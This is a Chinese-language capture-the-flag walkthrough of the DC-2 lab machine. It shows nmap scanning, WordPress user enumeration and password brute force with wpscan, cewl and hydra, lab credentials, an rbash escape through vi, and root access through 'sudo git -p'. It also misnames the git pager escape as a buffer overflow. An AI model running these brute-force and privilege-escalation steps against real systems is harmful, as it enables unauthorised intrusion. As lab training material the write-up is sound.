信息收集
首先我们先使用nmap来扫描探测局域网内存货的靶机
nmap -sP 192.168.19.128/24
发现局域网内存在192.168.19.129,接着扫描开放的端口
nmap -p- 192.168.19.129
得到如下两个端口
80/tcp open http
7744/tcp open raqmon-pdu
我们尝试访问192.168.19.129:80,发现跳转到了http://dc-2/
,但是无法对域名进行解析.我们在host文件进行DNS解析配置即可成功访问
渗透
我们首先使用whatweb进行网站的信息搜集
whatweb -v 192.168.19.129
发现网站使用的是wordpress4.7.10框架.这个版本的wordpress存在漏洞,可以通过wpscan辅助进行账号密码爆破
wpscan --url http://dc-2/ -e u
其中的-e u表示枚举用户名
发现存在admin,tom,jerry这三个用户.
我们访问这个网站发现index.php存在flag路由,提示使用cewl.
cewl是一种密码本生成工具,可以自动爬取网站上的所有单词并生成一个密码本.
cewl http://dc-2 > password
然后再将我们刚才获取到的用户名写入另一个文件中(username)
通过wpscan爆破账号密码
wpscan --url http://dc-2/ -U username -P password
得到结果
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
接下来我们则可以去进行登录.通过dirsearch扫描得到wp-admin路由(实际上wordpress都是这个)
我们访问http://dc-2/wp-admin/
在其中检索发现存在flag2,提示我们寻找一个新的入口点.
在信息搜集的时候除了80端口外还扫描出了7744端口,我们添加-A参数重新扫描一遍发现是一个ssh登录接口.
我们使用hydra工具进行ssh扫描
hydra -L username -P password 192.168.19.129 ssh -s 7744
其实这里不扫也行,因为不是tom的就一定是jerry的.
发现是tom的账户,我们进行登录,获取一个正向的shell.
ssh [email protected] -p 7744
登录后ls发现存在flag3.txt文件,但是试图使用cat命令失败,提示中出现rbash字样,说明处于首先shell rbash下.
使用vim命令失败,但是发现可以使用vi命令,构成一个shell逃逸.
输入vi,进入页面,然后可以在:后执行命令
set shell=/bin/bash
然后再次输入shell即可回到终端.
然而此时我们依然不能使用cat命令,因为/usr/bin目录下并没有这个环境,我们需要将更多的目录包含到环境变量中
export PATH=PATH:/usr/local/sbin:/usr/local/bin:usr/sbin:/usr/bin:/bin:sbin
然后我们再一次使用cat即可查看flag3.txt
提示我们需要su,我们猜测需要切换为jerry用户
su jerry
切换到jerry home发现存在flag4.txt文件,查看发现提示我们使用git
提权
我们通过sudo -l
命令获取到我们可以执行和不可以执行的命令,发现我们可以无密码登录git
这里让人联想到了git缓冲区溢出漏洞.
sudo git -p
-p表示分页查看.我们缩小窗口来使用这个命令,然后给了一个!,类似vim中的,可以通过!来打开文件.
!/bin/sh
我们就获取了shell的权限,然后由于我们之前是通过sudo来打开的,所以具有超级用户权限,可以直接进入root用户
su root
然后切换到root home即可获得flag